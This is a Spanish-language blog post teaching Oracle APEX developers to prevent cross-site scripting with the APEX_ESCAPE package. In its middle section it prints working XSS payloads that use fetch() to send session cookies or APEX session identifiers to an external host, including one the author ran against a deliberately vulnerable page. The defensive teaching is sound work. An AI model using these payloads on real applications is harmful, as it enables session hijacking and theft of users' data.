Skip to main content

Command Palette

Search for a command to run...

APEX_ESCAPE: ¿Proteges tus aplicaciones Oracle APEX contra XSS?

Updated
4 min read
APEX_ESCAPE: ¿Proteges tus aplicaciones Oracle APEX contra XSS?
C

Durante mis años de experiencia profesional, he trabajado en la migración de formularios y módulos de Oracle Forms 6i a Oracle APEX, así como en el desarrollo de nuevos módulos en diversas campos. Mi trayectoria laboral incluye roles en las empresas Hilagro S.A, Transagro S.A, y actualmente, en Consultagro S.A. En estos puestos, he demostrado habilidades en la gestión de proyectos, la mejora de procesos y la formación de usuarios, lo cual me ha permitido optimizar y desarrollar soluciones.

Cuando desarrollamos aplicaciones en Oracle APEX, solemos concentrarnos en la lógica del negocio, la experiencia de usuario y el rendimiento. Sin embargo, hay un aspecto crítico que muchas veces se pasa por alto hasta que es demasiado tarde: la seguridad, en particular la protección contra Cross-Site Scripting (XSS).

Aquí es donde entra en juego el paquete APEX_ESCAPE, una herramienta clave para evitar que datos maliciosos se ejecuten como código en nuestras aplicaciones.

¿Qué es APEX_ESCAPE?

pienso 🤔

APEX_ESCAPE es un paquete PL/SQL provisto por Oracle APEX que permite escapar caracteres especiales antes de mostrar datos en la interfaz de usuario.

Basicamente:
convierte texto potencialmente peligroso en texto seguro para mostrar en HTML, JavaScript o URLs*.*

Esto evita que un usuario malintencionado inyecte código como:

<script>alert('hackeado')</script>

y que dicho código se ejecute en el navegador de otro usuario.

¿Por qué es tan importante?

Oracle APEX trabaja intensamente con datos ingresados por usuarios:

  • Ítems de página

  • Formularios

  • Comentarios

  • Parámetros

  • Datos provenientes de tablas

Si estos valores se muestran sin control, un atacante puede aprovecharlos para:

  • Robar sesiones

  • Ejecutar acciones en nombre de otros usuarios

  • Modificar la interfaz

  • Exponer información sensible

APEX_ESCAPE es una de las primeras líneas de defensa contra XSS.

BeelPfeiffer Si van a tomar una birra, deben tener una frapera con onda

Funciones más utilizadas de APEX_ESCAPE

1. APEX_ESCAPE.HTML

Escapa texto para que sea seguro mostrarlo en HTML.

APEX_ESCAPE.HTML(:P1_COMENTARIO)

Convierte:

  • < en <

  • \> en >

  • " en "

Podemos probar este query

select APEX_ESCAPE.HTML('<  >  " ') escap from dual;

Esta seria su salida.

Ideal para:

  • Reportes

  • Regiones HTML

  • Labels dinámicos

2. APEX_ESCAPE.HTML_ATTRIBUTE

Pensada para valores que se insertan dentro de atributos HTML.

APEX_ESCAPE.HTML_ATTRIBUTE(:P1_TITULO)

Útil cuando se usa dentro de:

<input type="text" value="&P1_TITULO.">

3. APEX_ESCAPE.JS_LITERAL

Escapa valores que serán utilizados dentro de código JavaScript.

APEX_ESCAPE.JS_LITERAL(:P1_MENSAJE)

Fundamental cuando se concatenan valores dinámicos en scripts.

Ejemplos

Supongamos que un usuario guarda este comentario:

<b>Hola</b><script>alert('XSS')</script>

Si lo mostramos directamente:

select feedback
from apex_team_feedback f

El script se ejecutará.

Pero si usamos:

select APEX_ESCAPE.HTML(feedback)feedback
from apex_team_feedback f

El navegador mostrará el texto sin ejecutar nada peligroso.

Ejemplo de XSS con robo de sesión

Supongamos que un atacante logra inyectar este texto como comentario o descripción:

<script>
  fetch('https://sitio-externo/collect?c=' + document.cookie);
</script>

¿Qué intenta hacer este código?
(No cómo hacerlo, sino qué pasaría si se ejecuta)

  • Accede a document.cookie

  • Extrae cookies de sesión

  • Las envía a un servidor externo

  • Permite:

    • Secuestro de sesión

    • Suplantación de usuario

    • Acceso a datos privados

En una app APEX con autenticación por cookies, esto puede ser crítico.

Para este ejemplo en particular, cree una api que recibe como parametro “CAMPO1“ y lo inyeccte en este script asi

<script>
fetch('https://oracleapex.com/ords/maximo/xss/xss?campo1=' + apex.env.APP_USER);
</script>

La pagina intencionalmente vulnerable ejecuta el codigo y obtengo el dato del usuario

o si se usa este otro codigo

<script>
  var x =
    'APP_USER: ' + apex.env.APP_USER + ' | ' +
    'APP_ID: ' + apex.env.APP_ID + ' | ' +
    'APP_PAGE_ID: ' + apex.env.APP_PAGE_ID + ' | ' +
    'APP_SESSION: ' + apex.env.APP_SESSION ;
  fetch(
    'https://oracleapex.com/ords/maximo/xss/xss?campo1=' +
    encodeURIComponent(x)
  );
</script>

Se puede obtener otros datos igual de sensibles.

Si estos datos se pueden obtener, se podrian obtner otros, aun mas sensibles.

¿Cuándo debo usar APEX_ESCAPE?

Regla práctica:

Siempre que muestres datos dinámicos que no controlas al 100%

Especial atención en:

  • Regiones HTML

  • PL/SQL dinámico

  • JavaScript dinámico

  • Links generados manualmente

  • htp.p, htf.print, sys.htp

¿APEX no escapa automáticamente?

Armando Barrera (@odioapancho) on X

Sí… a veces.

Oracle APEX escapa automáticamente en muchos componentes declarativos (reportes clásicos, interactivos, ítems estándar), pero no en todos los casos, especialmente cuando:

  • Usas PL/SQL

  • Generas HTML manualmente

  • Construyes JavaScript dinámico

  • Desactivas el escape en columnas

Por eso, conocer y usar APEX_ESCAPE es fundamental.

Buenas prácticas

  • Escapar al mostrar, no al guardar.

  • Usar la función adecuada según el contexto (HTML, JS, URL).

  • No confiar ciegamente en el escape automático.

  • Revisar código legado.

  • Combinar con validaciones y controles de acceso.

Conclusión

APEX_ESCAPE no es solo un paquete más:
es una herramienta esencial para desarrollar aplicaciones Oracle APEX seguras.

Dominar su uso te permite:

  • Evitar vulnerabilidades XSS

  • Proteger a tus usuarios

  • Cumplir buenas prácticas de seguridad

  • Dormir más tranquilo

Si trabajas con APEX y aún no lo usas conscientemente, este es el momento de incorporarlo a tu estándar de desarrollo.

¿Te gustó este contenido? Dejá un comentario, compartilo con tu equipo o Invitame un cafe.

Nos leemos luego

Lasang | Skate #cats #kitty #catmemes #catto | Instagram

More from this blog

U

Untitled Publication

42 posts